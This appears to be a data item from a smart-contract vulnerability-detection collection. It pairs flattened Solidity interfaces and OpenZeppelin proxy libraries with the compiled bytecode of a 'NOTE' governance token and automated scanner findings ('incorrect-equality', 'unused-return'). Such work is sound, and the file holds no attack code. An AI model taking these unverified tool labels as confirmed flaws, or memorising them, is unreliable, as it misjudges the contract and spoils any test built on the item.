function getActiveMarketsAtBlockTime(uint16 currencyId, uint32 blockTime) external view returns (MarketParameters[] memory); function getReserveBalance(uint16 currencyId) external view returns (int256 reserveBalance); function getNTokenPortfolio(address tokenAddress) external view returns (PortfolioAsset[] memory liquidityTokens, PortfolioAsset[] memory netfCashAssets); function getNTokenAccount(address tokenAddress) external view returns ( uint16 currencyId, uint256 totalSupply, uint256 incentiveAnnualEmissionRate, uint256 lastInitializedTime, bytes5 nTokenParameters, int256 cashBalance, uint256 integralTotalSupply, uint256 lastSupplyChangeTime ); function getAccount(address account) external view returns ( AccountContext memory accountContext, AccountBalance[] memory accountBalances, PortfolioAsset[] memory portfolio ); function getAccountContext(address account) external view returns (AccountContext memory); function getAccountBalance(uint16 currencyId, address account) external view returns ( int256 cashBalance, int256 nTokenBalance, uint256 lastClaimTime ); function getAccountPortfolio(address account) external view returns (PortfolioAsset[] memory); function getfCashNotional( address account, uint16 currencyId, uint256 maturity ) external view returns (int256); function getAssetsBitmap(address account, uint16 currencyId) external view returns (bytes32); function getFreeCollateral(address account) external view returns (int256, int256[] memory); function calculateNTokensToMint(uint16 currencyId, uint88 amountToDepositExternalPrecision) external view returns (uint256); function getfCashAmountGivenCashAmount( uint16 currencyId, int88 netCashToAccount, uint256 marketIndex, uint256 blockTime ) external view returns (int256); function getCashAmountGivenfCashAmount( uint16 currencyId, int88 fCashAmount, uint256 marketIndex, uint256 blockTime ) external view returns (int256, int256); function nTokenGetClaimableIncentives(address account, uint256 blockTime) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; import "./AggregatorInterface.sol"; import "./AggregatorV3Interface.sol"; interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface { } // SPDX-License-Identifier: GPL-v3 pragma solidity >=0.7.0; /// @notice Used as a wrapper for tokens that are interest bearing for an /// underlying token. Follows the cToken interface, however, can be adapted /// for other interest bearing tokens. interface AssetRateAdapter { function token() external view returns (address); function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function underlying() external view returns (address); function getExchangeRateStateful() external returns (int256); function getExchangeRateView() external view returns (int256); function getAnnualizedSupplyRate() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "@openzeppelin/contracts/utils/Address.sol"; import "../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106101665760003560e01c80636fcfff45116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610417578063e7a324dc14610437578063f1127ed81461044c578063f2fde38b1461047a57610166565b8063a9059cbb146103b7578063b4b5ea57146103d7578063c3cda520146103f757610166565b80636fcfff45146102f357806370a0823114610320578063782d6fe1146103405780637ecebe001461036d5780638da5cb5b1461038d57806395d89b41146103a257610166565b8063313ce56711610123578063313ce5671461023c5780633659cfe61461025e5780634f1ef28614610280578063587cde1e146102935780635c19a95c146102b357806367f5f5a9146102d357610166565b806306fdde031461016b578063095ea7b3146101965780630bf6edc5146101c357806318160ddd146101e557806320606b701461020757806323b872dd1461021c575b600080fd5b34801561017757600080fd5b5061018061049a565b60405161018d9190611ffc565b60405180910390f35b3480156101a257600080fd5b506101b66101b1366004611e07565b6104be565b60405161018d9190611fa0565b3480156101cf57600080fd5b506101d8610586565b60405161018d9190611f8c565b3480156101f157600080fd5b506101fa61059b565b60405161018d9190611fab565b34801561021357600080fd5b506101fa6105a6565b34801561022857600080fd5b506101b6610237366004611d24565b6105ca565b34801561024857600080fd5b5061025161071a565b60405161018d91906122ae565b34801561026a57600080fd5b5061027e610279366004611cd8565b61071f565b005b61027e61028e366004611d5f565b610746565b34801561029f57600080fd5b506101d86102ae366004611cd8565b61075f565b3480156102bf57600080fd5b5061027e6102ce366004611cd8565b61077a565b3480156102df57600080fd5b5061027e6102ee366004611ecc565b610784565b3480156102ff57600080fd5b5061031361030e366004611cd8565b610a2e565b60405161018d919061227e565b34801561032c57600080fd5b506101fa61033b366004611cd8565b610a46565b34801561034c57600080fd5b5061036061035b366004611e07565b610a6e565b60405161018d91906122bc565b34801561037957600080fd5b506101fa610388366004611cd8565b610c7c565b34801561039957600080fd5b506101d8610c8e565b3480156103ae57600080fd5b50610180610c9d565b3480156103c357600080fd5b506101b66103d2366004611e07565b610cbd565b3480156103e357600080fd5b506103606103f2366004611cd8565b610cf9565b34801561040357600080fd5b5061027e610412366004611e30565b610d6c565b34801561042357600080fd5b506101fa610432366004611cf2565b610f08565b34801561044357600080fd5b506101fa610f3c565b34801561045857600080fd5b5061046c610467366004611e8e565b610f60565b60405161018d92919061228f565b34801561048657600080fd5b5061027e610495366004611cd8565b610f95565b60405180604001604052806008815260200167139bdd1a5bdb985b60c21b81525081565b6000806001600160601b0383106104dd57506001600160601b03610502565b6104ff836040518060600160405280602581526020016123c660259139611047565b90505b3360008181526001602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105729085906122bc565b60405180910390a360019150505b92915050565b6000546201000090046001600160a01b031681565b662386f26fc1000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008161062557826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60006040516106159190611fab565b60405180910390a3506001610713565b6001600160a01b03841660009081526001602090815260408083203380855290835281842054825160608101909352602580845291946001600160601b0390911693909261067b9288926123c690830139611047565b9050866001600160a01b0316836001600160a01b0316146107005760006106bb83836040518060600160405280603d81526020016122eb603d913961107a565b6001600160a01b03898116600090815260016020908152604080832093891683529290522080546001600160601b0319166001600160601b0392909216919091179055505b61070b8787836110b9565b600193505050505b9392505050565b600881565b61072881611264565b6107438160405180602001604052806000815250600061128e565b50565b61074f82611264565b61075b8282600161128e565b5050565b6003602052600090815260409020546001600160a01b031681565b61074333826113c1565b600054610100900460ff168061079d575061079d61144b565b806107ab575060005460ff16155b6107e65760405162461bcd60e51b815260040180806020018281038252602e81526020018061244f602e913960400191505060405180910390fd5b600054610100900460ff16158015610811576000805460ff1961ff0019909116610100171660011790555b82851461081d57600080fd5b6000805b848110156109db576108638287878481811061083957fe5b905060200201602081019061084e9190611f4a565b6040518060200160405280600081525061145c565b91506002600089898481811061087557fe5b905060200201602081019061088a9190611cd8565b6001600160a01b031681526020810191909152604001600020546001600160601b0316156108d35760405162461bcd60e51b81526004016108ca9061220d565b60405180910390fd5b8585828181106108df57fe5b90506020020160208101906108f49190611f4a565b600260008a8a8581811061090457fe5b90506020020160208101906109199190611cd8565b6001600160a01b03168152602081019190915260400160002080546001600160601b0319166001600160601b039290921691909117905587878281811061095c57fe5b90506020020160208101906109719190611cd8565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8888858181106109a957fe5b90506020020160208101906109be9190611f4a565b6040516109cb91906122bc565b60405180910390a3600101610821565b50662386f26fc10000816001600160601b0316146109f857600080fd5b50600780546001600160a01b0319166001600160a01b0384161790558015610a26576000805461ff00191690555b505050505050565b60056020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600260205260409020546001600160601b03165b919050565b6000438210610a8f5760405162461bcd60e51b81526004016108ca9061204f565b6001600160a01b03831660009081526005602052604090205463ffffffff1680610abd576000915050610580565b6001600160a01b038416600090815260046020908152604080832063ffffffff600019860181168552925290912054168310610b39576001600160a01b03841660009081526004602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610580565b6001600160a01b038416600090815260046020908152604080832083805290915290205463ffffffff16831015610b74576000915050610580565b600060001982015b8163ffffffff168163ffffffff161115610c3757600282820363ffffffff16048103610ba6611c61565b506001600160a01b038716600090815260046020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610c12576020015194506105809350505050565b805163ffffffff16871115610c2957819350610c30565b6001820392505b5050610b7c565b506001600160a01b038516600090815260046020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60066020526000908152604090205481565b6007546001600160a01b031681565b604051806040016040528060048152602001634e4f544560e01b81525081565b600080610ce28360405180606001604052806026815260200161232860269139611047565b9050610cef3385836110b9565b5060019392505050565b6001600160a01b03811660009081526005602052604081205463ffffffff168181610d25576000610d64565b6001600160a01b0384166000908152600460209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b949350505050565b83421115610d8c5760405162461bcd60e51b81526004016108ca90612238565b604080518082019091526008815267139bdd1a5bdb985b60c21b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f20f87700a518c9822d66e3293ff0098bfccf560aeca4efb5ce1808fe1690c351610df8611498565b30604051602001610e0c9493929190611fd8565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610e5d9493929190611fb4565b60405160208183030381529060405280519060200120905060008282604051602001610e8a929190611f71565b6040516020818303038152906040528051906020012090506000610eb08288888861149c565b6001600160a01b03811660009081526006602052604090208054600181019091559091508914610ef25760405162461bcd60e51b81526004016108ca906121cb565b610efc818b6113c1565b50505050505050505050565b6001600160a01b0391821660009081526001602090815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600460209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6007546001600160a01b03163314610fbf5760405162461bcd60e51b81526004016108ca90612196565b6001600160a01b038116610fe55760405162461bcd60e51b81526004016108ca90612096565b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b3b151590565b6000816001600160601b038411156110725760405162461bcd60e51b81526004016108ca9190611ffc565b509192915050565b6000836001600160601b0316836001600160601b0316111582906110b15760405162461bcd60e51b81526004016108ca9190611ffc565b505050900390565b6001600160a01b0383166110df5760405162461bcd60e51b81526004016108ca906120dc565b6001600160a01b0382166111055760405162461bcd60e51b81526004016108ca90612139565b6001600160a01b038316600090815260026020908152604091829020548251606081019093526036808452611150936001600160601b03909216928592919061251a9083013961107a565b6001600160a01b03848116600090815260026020908152604080832080546001600160601b0319166001600160601b039687161790559286168252908290205482516060810190935260308084526111b894919091169285929091906123eb9083013961145c565b6001600160a01b038381166000818152600260205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112259085906122bc565b60405180910390a36001600160a01b0380841660009081526003602052604080822054858416835291205461125f9291821691168361161a565b505050565b6007546001600160a01b031633146107435760405162461bcd60e51b81526004016108ca90612196565b60006112986117ac565b90506112a3846117e6565b6000835111806112b05750815b156112c1576112bf8484611875565b505b60006112ec7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd914361189a565b805490915060ff166113ba57805460ff19166001178155604080516001600160a01b0384166024808301919091528251808303909101815260449091019091526020810180516001600160e01b0316631b2ce7f360e11b179052611351908690611875565b50805460ff191681556113626117ac565b6001600160a01b0316826001600160a01b0316146113b15760405162461bcd60e51b815260040180806020018281038252602f81526020018061234e602f913960400191505060405180910390fd5b6113ba8561189d565b5050505050565b6001600160a01b03808316600081815260036020818152604080842080546002845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461144582848361161a565b50505050565b600061145630611041565b15905090565b6000838301826001600160601b03808716908316101561148f5760405162461bcd60e51b81526004016108ca9190611ffc565b50949350505050565b4690565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156114fd5760405162461bcd60e51b81526004018080602001828103825260228152602001806123a46022913960400191505060405180910390fd5b8360ff16601b148061151257508360ff16601c145b61154d5760405162461bcd60e51b815260040180806020018281038252602281526020018061247d6022913960400191505060405180910390fd5b600060018686868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156115a9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611611576040805162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015290519081900360640190fd5b95945050505050565b816001600160a01b0316836001600160a01b03161415801561164557506000816001600160601b0316115b1561125f576001600160a01b038316156116fd576001600160a01b03831660009081526005602052604081205463ffffffff1690816116855760006116c4565b6001600160a01b0385166000908152600460209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006116eb828560405180606001604052806027815260200161237d6027913961107a565b90506116f9868484846118dd565b5050505b6001600160a01b0382161561125f576001600160a01b03821660009081526005602052604081205463ffffffff169081611738576000611777565b6001600160a01b0384166000908152600460209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061179e828560405180606001604052806027815260200161249f6027913961145c565b9050610a26858484846118dd565b60006117d77f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61189a565b546001600160a01b0316905090565b6117ef81611041565b61182a5760405162461bcd60e51b815260040180806020018281038252602d8152602001806124c6602d913960400191505060405180910390fd5b806118547f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61189a565b80546001600160a01b0319166001600160a01b039290921691909117905550565b606061071383836040518060600160405280602781526020016124f360279139611a92565b90565b6118a6816117e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60006119014360405180606001604052806034815260200161241b60349139611b95565b905060008463ffffffff1611801561194a57506001600160a01b038516600090815260046020908152604080832063ffffffff6000198901811685529252909120548282169116145b156119a9576001600160a01b0385166000908152600460209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611a48565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600483528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600590935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611a839291906122d0565b60405180910390a25050505050565b6060611a9d84611041565b611ad85760405162461bcd60e51b81526004018080602001828103825260268152602001806125506026913960400191505060405180910390fd5b60006060856001600160a01b0316856040518082805190602001908083835b60208310611b165780518252601f199092019160209182019101611af7565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611b76576040519150601f19603f3d011682016040523d82523d6000602084013e611b7b565b606091505b5091509150611b8b828286611bbd565b9695505050505050565b60008163ffffffff8411156110725760405162461bcd60e51b81526004016108ca9190611ffc565b60608315611bcc575081610713565b825115611bdc5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c26578181015183820152602001611c0e565b50505050905090810190601f168015611c535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b604080518082019091526000808252602082015290565b80356001600160a01b0381168114610a6957600080fd5b60008083601f840112611ca0578182fd5b50813567ffffffffffffffff811115611cb7578182fd5b6020830191508360208083028501011115611cd157600080fd5b9250929050565b600060208284031215611ce9578081fd5b61071382611c78565b60008060408385031215611d04578081fd5b611d0d83611c78565b9150611d1b60208401611c78565b90509250929050565b600080600060608486031215611d38578081fd5b611d4184611c78565b9250611d4f60208501611c78565b9150604084013590509250925092565b60008060408385031215611d71578182fd5b611d7a83611c78565b915060208084013567ffffffffffffffff80821115611d97578384fd5b818601915086601f830112611daa578384fd5b813581811115611db657fe5b604051601f8201601f1916810185018381118282101715611dd357fe5b6040528181528382018501891015611de9578586fd5b81858501868301378585838301015280955050505050509250929050565b60008060408385031215611e19578182fd5b611e2283611c78565b946020939093013593505050565b60008060008060008060c08789031215611e48578182fd5b611e5187611c78565b95506020870135945060408701359350606087013560ff81168114611e74578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611ea0578182fd5b611ea983611c78565b9150602083013563ffffffff81168114611ec1578182fd5b809150509250929050565b600080600080600060608688031215611ee3578081fd5b853567ffffffffffffffff80821115611efa578283fd5b611f0689838a01611c8f565b90975095506020880135915080821115611f1e578283fd5b50611f2b88828901611c8f565b9094509250611f3e905060408701611c78565b90509295509295909350565b600060208284031215611f5b578081fd5b81356001600160601b0381168114610713578182fd5b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b6000602080835283518082850152825b818110156120285785810183015185820160400152820161200c565b818111156120395783604083870101525b50601f01601f1916929092016040019392505050565b60208082526027908201527f4e6f74653a3a6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252603c908201527f4e6f74653a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b6020808252603a908201527f4e6f74653a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526022908201527f4e6f74653a3a64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b602080825260119082015270111d5c1b1a58d85d19481858d8dbdd5b9d607a1b604082015260600190565b60208082526026908201527f4e6f74653a3a64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b039283168152911660208201526040019056fe4e6f74653a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654e6f74653a3a7472616e736665723a20616d6f756e742065786365656473203936206269747345524331393637557067726164653a207570677261646520627265616b7320667572746865722075706772616465734e6f74653a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7745434453413a20696e76616c6964207369676e6174757265202773272076616c75654e6f74653a3a617070726f76653a20616d6f756e74206578636565647320393620626974734e6f74653a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734e6f74653a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a656445434453413a20696e76616c6964207369676e6174757265202776272076616c75654e6f74653a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e6f74653a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a26469706673582212209500520cf96bdf357b19c47725525301645eba459bd8226b448f99b47e5f138d64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
